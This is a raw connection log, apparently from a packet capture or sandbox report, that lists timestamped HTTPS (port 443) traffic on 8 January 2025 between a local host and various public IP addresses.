Jan 8, 2025 16:18:52.156591892 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.171773911 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.172050953 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.172059059 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.172745943 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.172914028 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.173392057 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.173690081 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.173695087 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.174093962 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.174140930 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.174411058 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.174649000 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.174896955 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.174979925 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.177900076 CET	64305	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.177907944 CET	443	64305	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.183495998 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.183895111 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.183902979 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.184623957 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.184887886 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.185965061 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.186052084 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.186070919 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.189007044 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.189023018 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.189192057 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.189614058 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.189620018 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.204524994 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.204821110 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.205121040 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.205133915 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.205885887 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.206070900 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.208065987 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.208164930 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.208165884 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.213157892 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.213454008 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.213462114 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.214179993 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.214379072 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.215621948 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.215708017 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.216181993 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.216191053 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.219394922 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.219403982 CET	443	56570	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.219935894 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.219943047 CET	443	57597	23.45.46.17	192.168.11.20
Jan 8, 2025 16:18:52.230206966 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.235388994 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.235398054 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.251420021 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.251429081 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.267127991 CET	56570	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.267174006 CET	57597	443	192.168.11.20	23.45.46.17
Jan 8, 2025 16:18:52.267225981 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.282653093 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.297390938 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.297812939 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.297823906 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.298547029 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.298768997 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.298939943 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.298976898 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.299413919 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.299422979 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.299722910 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.300092936 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.300173044 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.300177097 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.300225973 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.300292015 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.300359011 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.302742004 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.303069115 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.303076982 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.303792953 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.303992033 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.304250002 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.304335117 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.310657024 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.310941935 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.310950041 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.311234951 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.311558008 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.311642885 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.311645985 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.311681986 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.325643063 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.325702906 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.325851917 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.329731941 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.329770088 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.329909086 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.331751108 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:52.331835032 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:52.331965923 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:52.332170010 CET	65032	443	192.168.11.20	35.245.40.102
Jan 8, 2025 16:18:52.332185030 CET	443	65032	35.245.40.102	192.168.11.20
Jan 8, 2025 16:18:52.343291998 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.343352079 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.343585014 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.344301939 CET	55280	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.344314098 CET	443	55280	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.344959974 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.344959974 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.344974041 CET	443	57887	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.345005035 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.345012903 CET	443	62302	204.79.197.219	192.168.11.20
Jan 8, 2025 16:18:52.360981941 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.379069090 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.379076958 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.379297018 CET	51511	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.379306078 CET	443	51511	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.379411936 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.379631996 CET	56281	443	192.168.11.20	35.208.249.213
Jan 8, 2025 16:18:52.379642010 CET	443	56281	35.208.249.213	192.168.11.20
Jan 8, 2025 16:18:52.380285978 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.380292892 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.389416933 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.390456915 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.390466928 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.391165972 CET	57887	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.391195059 CET	62302	443	192.168.11.20	204.79.197.219
Jan 8, 2025 16:18:52.391197920 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.391391993 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.392482042 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.392548084 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.392585039 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.398751020 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.398797035 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.398931026 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.403191090 CET	53868	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:52.403203964 CET	443	53868	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:52.425739050 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.425777912 CET	443	54850	20.33.55.12	192.168.11.20
Jan 8, 2025 16:18:52.425906897 CET	54850	443	192.168.11.20	20.33.55.12
Jan 8, 2025 16:18:52.434211016 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.438082933 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.438092947 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:52.468514919 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.468815088 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.468822002 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.469127893 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.469589949 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.469676971 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.469696045 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.475860119 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.475903988 CET	443	55103	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.476170063 CET	55103	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.483750105 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:52.510206938 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.514672041 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.535084963 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.535096884 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.535311937 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.535324097 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.535501957 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.535773993 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.535777092 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.535839081 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.536087036 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.536091089 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.536128998 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.536134958 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.536319971 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.536324978 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.543979883 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.543989897 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.544177055 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.544187069 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.544291019 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.545409918 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.545413017 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.545552969 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.545608997 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.545608997 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.545618057 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.545816898 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.545985937 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.545993090 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.546149015 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.557478905 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.557677031 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.557687044 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.557914019 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.578664064 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.578666925 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.578731060 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.578836918 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.578985929 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.578993082 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579010963 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579125881 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579174995 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.579181910 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579292059 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.579339981 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.579344988 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579484940 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579638004 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.579647064 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.579813957 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.579875946 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.580069065 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.623405933 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.649759054 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.650084019 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.650091887 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.650379896 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.650744915 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.650796890 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.650852919 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.652972937 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.653047085 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.653157949 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.653301954 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.653350115 CET	57581	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.653359890 CET	443	57581	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.653501987 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.653512001 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.654243946 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.654417992 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.656143904 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.656229019 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.656255960 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.661612034 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.661925077 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.662121058 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.662132025 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.662276030 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.663577080 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.663579941 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.663789034 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.663868904 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.663878918 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.663898945 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.663995981 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.664005041 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.664156914 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.664693117 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.664843082 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.664843082 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.664916992 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.664936066 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.664944887 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.665098906 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.665108919 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.665258884 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.665738106 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.665887117 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.665887117 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.665980101 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.665988922 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.666414976 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.666548967 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.666548967 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.666559935 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.666646004 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.694206953 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.696361065 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.696530104 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.698236942 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.699945927 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.699948072 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.699956894 CET	443	54723	172.241.51.69	192.168.11.20
Jan 8, 2025 16:18:52.701119900 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.701256990 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.701301098 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.704304934 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.704483986 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.705859900 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.706049919 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.706051111 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.706175089 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.706331968 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.706604958 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.706788063 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.706799030 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.706943989 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.706950903 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.706954956 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.707123995 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.707191944 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.707300901 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.707312107 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.707453012 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.707532883 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.707778931 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.707993984 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.708164930 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.708224058 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.708271980 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.708435059 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.708497047 CET	52704	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.708511114 CET	443	52704	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.725409985 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.725465059 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.725632906 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.725861073 CET	63598	443	192.168.11.20	52.223.22.214
Jan 8, 2025 16:18:52.725871086 CET	443	63598	52.223.22.214	192.168.11.20
Jan 8, 2025 16:18:52.744827032 CET	54723	443	192.168.11.20	172.241.51.69
Jan 8, 2025 16:18:52.780774117 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.780776978 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.781007051 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.781018972 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.781086922 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.781209946 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.781219959 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.781356096 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.781435013 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.781645060 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.782258987 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.782407045 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.782418013 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.782455921 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.782598972 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.782793999 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.782803059 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.782938004 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.783303022 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.783482075 CET	443	59086	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:52.783540010 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.783639908 CET	59086	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:52.962613106 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.962675095 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:52.962884903 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.963255882 CET	53209	443	192.168.11.20	68.67.181.248
Jan 8, 2025 16:18:52.963263988 CET	443	53209	68.67.181.248	192.168.11.20
Jan 8, 2025 16:18:53.001661062 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:53.001708984 CET	443	58099	35.213.89.133	192.168.11.20
Jan 8, 2025 16:18:53.001842022 CET	58099	443	192.168.11.20	35.213.89.133
Jan 8, 2025 16:18:53.182560921 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.182581902 CET	443	56907	68.67.179.153	192.168.11.20
Jan 8, 2025 16:18:53.182730913 CET	56907	443	192.168.11.20	68.67.179.153
Jan 8, 2025 16:18:53.182826996 CET	56907	443	192.168.11.20	68.67.179.153
